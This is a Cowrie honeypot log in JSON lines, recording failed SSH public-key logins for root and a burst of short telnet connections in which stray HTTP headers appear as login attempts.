{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:28.819846Z","src_ip":"94.250.61.10","session":"35bb77487a49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:28.935461Z","src_ip":"94.250.61.10","session":"35bb77487a49","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:54:1c:f7:27:c2:95:db:60:f8:ea:aa:34:9d:62:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCYxnxbwrsmLziQgf+J9DVaOEC3LkXCGnoi0tuDA6EBFvpxUoqlPiEfMDQ9B4fXkwZIpI3qugwxSKbxvJp5yO9F1q6tymZlDYdlVISzbGXaq6NlFnWVcll9uMvqfiCqWs8HE8j//sFW92FBIG+uQGIK/ZKigScYTCi7BF5FYHywPTosuhipXlJ2CLal3z5RuH97RGQFdyPcL+v/rxPCSdZuq4qvtf3rLVq+gr9b6EtTtwv53DmoQinQ6P+DTh3tbkDl7JiqLmOZkQ97MU2phjv5STY7dwiTSlEfIeo2q3q4rUbJmd0v1Y0YFOuXqwl8toumKjfgMexndV0vmsu5IsYlxZd1U8UJbVwKPwlbsdu5tEWWViaZZyFOuJL6zT3vDU1Do68AyUtO6prU5tXhfIR7laoPudnpN7P+b6+vhQa7BxtVXAzL5LTpoFk7TRAR3L/X3eZmZhG7biXwO4yNwMa8SVSJH4qlrSU16T2dk2kPpX29T7m/mEvELTD7mZwWnQs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:54:1c:f7:27:c2:95:db:60:f8:ea:aa:34:9d:62:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:29.475644Z","src_ip":"94.250.61.10","session":"35bb77487a49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:54:1c:f7:27:c2:95:db:60:f8:ea:aa:34:9d:62:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCYxnxbwrsmLziQgf+J9DVaOEC3LkXCGnoi0tuDA6EBFvpxUoqlPiEfMDQ9B4fXkwZIpI3qugwxSKbxvJp5yO9F1q6tymZlDYdlVISzbGXaq6NlFnWVcll9uMvqfiCqWs8HE8j//sFW92FBIG+uQGIK/ZKigScYTCi7BF5FYHywPTosuhipXlJ2CLal3z5RuH97RGQFdyPcL+v/rxPCSdZuq4qvtf3rLVq+gr9b6EtTtwv53DmoQinQ6P+DTh3tbkDl7JiqLmOZkQ97MU2phjv5STY7dwiTSlEfIeo2q3q4rUbJmd0v1Y0YFOuXqwl8toumKjfgMexndV0vmsu5IsYlxZd1U8UJbVwKPwlbsdu5tEWWViaZZyFOuJL6zT3vDU1Do68AyUtO6prU5tXhfIR7laoPudnpN7P+b6+vhQa7BxtVXAzL5LTpoFk7TRAR3L/X3eZmZhG7biXwO4yNwMa8SVSJH4qlrSU16T2dk2kPpX29T7m/mEvELTD7mZwWnQs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:29.478419Z","src_ip":"94.250.61.10","session":"35bb77487a49","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:6e:00:74:ca:00:14:bf:2c:c2:78:36:c3:fd:ab:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1Hkjq6vsgOIWUDtYG6pZLrUuAHUf2QoEKIXvRLhuCk1kF6S11jA/s66bCapTZwB60lGv83Bp/DbByyGAioQRm5D1Rx1UYICEdjLHgMX/YeegVUEw2xKUHmUrERW+ROtJoFEvkli3RAVB/rqYIvNBiriRtUamcwGMy+OnPfwr6rSkwDdCGqotOmDXrRvV9qpCxTexA7YfRhyCDi9irqtrmeTV5P23ZcXL2TohgH9ynzJeEWE3Xl8qjTpEzJWWvdw1tISvAvKUoXyTSkZyGBdBMgFWPyeroMhBjw/exnTb3h0D9NO7ebZpml0w1r1j+rghfQYqngP2jL2AI+rFuo9a9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:6e:00:74:ca:00:14:bf:2c:c2:78:36:c3:fd:ab:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:29.594231Z","src_ip":"94.250.61.10","session":"35bb77487a49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:6e:00:74:ca:00:14:bf:2c:c2:78:36:c3:fd:ab:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1Hkjq6vsgOIWUDtYG6pZLrUuAHUf2QoEKIXvRLhuCk1kF6S11jA/s66bCapTZwB60lGv83Bp/DbByyGAioQRm5D1Rx1UYICEdjLHgMX/YeegVUEw2xKUHmUrERW+ROtJoFEvkli3RAVB/rqYIvNBiriRtUamcwGMy+OnPfwr6rSkwDdCGqotOmDXrRvV9qpCxTexA7YfRhyCDi9irqtrmeTV5P23ZcXL2TohgH9ynzJeEWE3Xl8qjTpEzJWWvdw1tISvAvKUoXyTSkZyGBdBMgFWPyeroMhBjw/exnTb3h0D9NO7ebZpml0w1r1j+rghfQYqngP2jL2AI+rFuo9a9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:29.597243Z","src_ip":"94.250.61.10","session":"35bb77487a49","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"25:fa:5a:d7:0e:f9:68:6f:82:57:fb:c1:8f:c1:92:a7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIABUcLiiOuVQ8n2L9MFy1T3D5O6A9t16TTPPbzM1S04W","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 25:fa:5a:d7:0e:f9:68:6f:82:57:fb:c1:8f:c1:92:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:29.709235Z","src_ip":"94.250.61.10","session":"35bb77487a49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:fa:5a:d7:0e:f9:68:6f:82:57:fb:c1:8f:c1:92:a7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIABUcLiiOuVQ8n2L9MFy1T3D5O6A9t16TTPPbzM1S04W","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:29.712708Z","src_ip":"94.250.61.10","session":"35bb77487a49","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:5a:ad:d1:78:0e:1c:07:be:ed:cc:e0:73:bd:61:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQJ1AEmvBCdwY4YxXhsCSv9YqmCope4RSpbk3H/2adtykkNrLAdNFGh3Omc1zzTBbqqUTuz5J1xJsoCPaX8cAA7YIeObs9AWDxzeZop7cLUeRCkXs/+3lK7f54GJ9RfJ2j523u/z9d8Xtg1cSNeKjFzmRRJRTPwYCz5j/KxzYhIVDUR9aN85+MmUPdwuOIswYemci0gUVq8+GbOdjjf3hRyJCHR9hWFb+dns1gWwq/Ny0ejlbwsQoU/yDmyxiIoML7oVFvtHtHZ/5NkFlS8Fz8Dv+LoUhWjx1/yAzF/7t+LuoIT2qH3KSp1TFD/mBzR1MEn6ZvKxlFICl3TsE+NZMdV9BUllldgHVfRUCJcHBRgm1esUDwCQ5w+CoPS3OOxXn8GYzq7IV9yTIGfjY8AtNzLBB5/a+rKyDNZ8HZa0BXu58nVoZEWXInHbSfAAXPqtqjXl3Y+m/DtFJIaE3fu7/YNe81SXTFmxlY4jhA+ediofSYFrB+jMskK0P0LOe20rU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:5a:ad:d1:78:0e:1c:07:be:ed:cc:e0:73:bd:61:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:29.823363Z","src_ip":"94.250.61.10","session":"35bb77487a49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:5a:ad:d1:78:0e:1c:07:be:ed:cc:e0:73:bd:61:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQJ1AEmvBCdwY4YxXhsCSv9YqmCope4RSpbk3H/2adtykkNrLAdNFGh3Omc1zzTBbqqUTuz5J1xJsoCPaX8cAA7YIeObs9AWDxzeZop7cLUeRCkXs/+3lK7f54GJ9RfJ2j523u/z9d8Xtg1cSNeKjFzmRRJRTPwYCz5j/KxzYhIVDUR9aN85+MmUPdwuOIswYemci0gUVq8+GbOdjjf3hRyJCHR9hWFb+dns1gWwq/Ny0ejlbwsQoU/yDmyxiIoML7oVFvtHtHZ/5NkFlS8Fz8Dv+LoUhWjx1/yAzF/7t+LuoIT2qH3KSp1TFD/mBzR1MEn6ZvKxlFICl3TsE+NZMdV9BUllldgHVfRUCJcHBRgm1esUDwCQ5w+CoPS3OOxXn8GYzq7IV9yTIGfjY8AtNzLBB5/a+rKyDNZ8HZa0BXu58nVoZEWXInHbSfAAXPqtqjXl3Y+m/DtFJIaE3fu7/YNe81SXTFmxlY4jhA+ediofSYFrB+jMskK0P0LOe20rU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:29.826472Z","src_ip":"94.250.61.10","session":"35bb77487a49","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:65:8d:02:cf:80:eb:01:9f:99:af:52:07:70:75:c2","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANCDgNFQlTlqGeaJ/DZvatX9nqGKXQ0X7qsE6bhYCqbLnNkn45XCwDWPFAjeTdIG1fsyGqHTKqkOxqIUL1SFsDtlLvlkeJflHwmaa7L+KyMxZmf1k9ySkQj0AJf2nIZ5ylZcqggTZK7a/doV0cE0l2+RZekvoqikShg0vQT3yCorAAAAFQDXAltcPwzH5S+i/Bmqh80qwAdrRwAAAIEAgYtI6ZCt/p3W/eZDBF92BlTyRchUpN7UCKa2kVGNg0fUma6bUmsNq2zQvi6ELeDs8e2u4Ela+6srCaAK4za/33XZM1T6t7gTo+GjfqS5pVUqysx8MWvk0yh6rUbYowCm/qC9cTFQbdtyMO877FO/eI/puQJYXfVVXkVIvd2G3tcAAACAK1rhxAwWsYpbN/N0W5NTEaXzO780XPHGMEX9i2R+RZH2X9rPRAJRx8n0mIaO2TsoDDrfQxdmtH1LhBo+jyN4oy8OTIqiBAcjJuiYnnHqeGu2IH9yWJdEP4Vg8nV9xnYaxvszX0jQyNkNWXeaJ6xSkBb4PAWjM8hdOWs2lbNdi5Q=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 3b:65:8d:02:cf:80:eb:01:9f:99:af:52:07:70:75:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:29.939208Z","src_ip":"94.250.61.10","session":"35bb77487a49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:65:8d:02:cf:80:eb:01:9f:99:af:52:07:70:75:c2","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANCDgNFQlTlqGeaJ/DZvatX9nqGKXQ0X7qsE6bhYCqbLnNkn45XCwDWPFAjeTdIG1fsyGqHTKqkOxqIUL1SFsDtlLvlkeJflHwmaa7L+KyMxZmf1k9ySkQj0AJf2nIZ5ylZcqggTZK7a/doV0cE0l2+RZekvoqikShg0vQT3yCorAAAAFQDXAltcPwzH5S+i/Bmqh80qwAdrRwAAAIEAgYtI6ZCt/p3W/eZDBF92BlTyRchUpN7UCKa2kVGNg0fUma6bUmsNq2zQvi6ELeDs8e2u4Ela+6srCaAK4za/33XZM1T6t7gTo+GjfqS5pVUqysx8MWvk0yh6rUbYowCm/qC9cTFQbdtyMO877FO/eI/puQJYXfVVXkVIvd2G3tcAAACAK1rhxAwWsYpbN/N0W5NTEaXzO780XPHGMEX9i2R+RZH2X9rPRAJRx8n0mIaO2TsoDDrfQxdmtH1LhBo+jyN4oy8OTIqiBAcjJuiYnnHqeGu2IH9yWJdEP4Vg8nV9xnYaxvszX0jQyNkNWXeaJ6xSkBb4PAWjM8hdOWs2lbNdi5Q=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:29.942662Z","src_ip":"94.250.61.10","session":"35bb77487a49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:30.059718Z","src_ip":"94.250.61.10","session":"35bb77487a49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30220,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1d6801a1b98","protocol":"telnet","message":"New connection: 34.77.146.32:30220 (10.17.0.5:23) [session: a1d6801a1b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:32.305773Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:32.310790Z","src_ip":"34.77.146.32","session":"a1d6801a1b98","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:32.313908Z","src_ip":"34.77.146.32","session":"a1d6801a1b98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09250617027282715,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:32.398110Z","src_ip":"34.77.146.32","session":"a1d6801a1b98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30226,"dst_ip":"10.17.0.5","dst_port":23,"session":"36d972f05805","protocol":"telnet","message":"New connection: 34.77.146.32:30226 (10.17.0.5:23) [session: 36d972f05805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:32.474341Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30236,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad8b8ea0d127","protocol":"telnet","message":"New connection: 34.77.146.32:30236 (10.17.0.5:23) [session: ad8b8ea0d127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:32.634995Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30248,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae5074c969a0","protocol":"telnet","message":"New connection: 34.77.146.32:30248 (10.17.0.5:23) [session: ae5074c969a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:32.796944Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30254,"dst_ip":"10.17.0.5","dst_port":23,"session":"1888910c7440","protocol":"telnet","message":"New connection: 34.77.146.32:30254 (10.17.0.5:23) [session: 1888910c7440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:32.961192Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30270,"dst_ip":"10.17.0.5","dst_port":23,"session":"59dc88c82cdf","protocol":"telnet","message":"New connection: 34.77.146.32:30270 (10.17.0.5:23) [session: 59dc88c82cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:33.121113Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30286,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6e485020bfb","protocol":"telnet","message":"New connection: 34.77.146.32:30286 (10.17.0.5:23) [session: c6e485020bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:33.282974Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30300,"dst_ip":"10.17.0.5","dst_port":23,"session":"cba8ce2051d6","protocol":"telnet","message":"New connection: 34.77.146.32:30300 (10.17.0.5:23) [session: cba8ce2051d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:33.449466Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30306,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6ed10a39092","protocol":"telnet","message":"New connection: 34.77.146.32:30306 (10.17.0.5:23) [session: f6ed10a39092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:33.614648Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30310,"dst_ip":"10.17.0.5","dst_port":23,"session":"25fb9c220f6e","protocol":"telnet","message":"New connection: 34.77.146.32:30310 (10.17.0.5:23) [session: 25fb9c220f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:33.782124Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30318,"dst_ip":"10.17.0.5","dst_port":23,"session":"addb17aca214","protocol":"telnet","message":"New connection: 34.77.146.32:30318 (10.17.0.5:23) [session: addb17aca214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:34.025448Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30334,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbce9b7cf062","protocol":"telnet","message":"New connection: 34.77.146.32:30334 (10.17.0.5:23) [session: cbce9b7cf062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:34.188990Z"}
{"eventid":"cowrie.session.closed","duration":0.005792856216430664,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:34.194604Z","src_ip":"34.77.146.32","session":"cbce9b7cf062","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30350,"dst_ip":"10.17.0.5","dst_port":23,"session":"482b2029f45e","protocol":"telnet","message":"New connection: 34.77.146.32:30350 (10.17.0.5:23) [session: 482b2029f45e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:34.352453Z"}
{"eventid":"cowrie.session.closed","duration":0.3867964744567871,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:34.412061Z","src_ip":"34.77.146.32","session":"addb17aca214","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.637556791305542,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:34.419520Z","src_ip":"34.77.146.32","session":"25fb9c220f6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.8113579750061035,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:34.425867Z","src_ip":"34.77.146.32","session":"f6ed10a39092","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.3073947429656982,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:34.428395Z","src_ip":"34.77.146.32","session":"59dc88c82cdf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.147688865661621,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:34.430411Z","src_ip":"34.77.146.32","session":"c6e485020bfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.9835207462310791,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:34.432837Z","src_ip":"34.77.146.32","session":"cba8ce2051d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.4749858379364014,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:34.436082Z","src_ip":"34.77.146.32","session":"1888910c7440","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.8044207096099854,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:34.439283Z","src_ip":"34.77.146.32","session":"ad8b8ea0d127","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.645038366317749,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:34.441841Z","src_ip":"34.77.146.32","session":"ae5074c969a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.970123529434204,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:34.444330Z","src_ip":"34.77.146.32","session":"36d972f05805","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.345964908599854,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:34.487257Z","src_ip":"34.77.146.32","session":"16f24674f3f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.67828106880188,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:34.492450Z","src_ip":"34.77.146.32","session":"3c76b5b801ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30364,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9b70773114f","protocol":"telnet","message":"New connection: 34.77.146.32:30364 (10.17.0.5:23) [session: c9b70773114f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:34.528519Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30370,"dst_ip":"10.17.0.5","dst_port":23,"session":"e62b521ec4ca","protocol":"telnet","message":"New connection: 34.77.146.32:30370 (10.17.0.5:23) [session: e62b521ec4ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:34.691111Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30380,"dst_ip":"10.17.0.5","dst_port":23,"session":"a26c7033c0b6","protocol":"telnet","message":"New connection: 34.77.146.32:30380 (10.17.0.5:23) [session: a26c7033c0b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:34.853966Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30382,"dst_ip":"10.17.0.5","dst_port":23,"session":"e78b0fe6a371","protocol":"telnet","message":"New connection: 34.77.146.32:30382 (10.17.0.5:23) [session: e78b0fe6a371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:35.017934Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30384,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ca388b05c0a","protocol":"telnet","message":"New connection: 34.77.146.32:30384 (10.17.0.5:23) [session: 6ca388b05c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:35.178207Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.77.146.32","src_port":30386,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cb1f6be80ae","protocol":"telnet","message":"New connection: 34.77.146.32:30386 (10.17.0.5:23) [session: 0cb1f6be80ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:18:35.340612Z"}
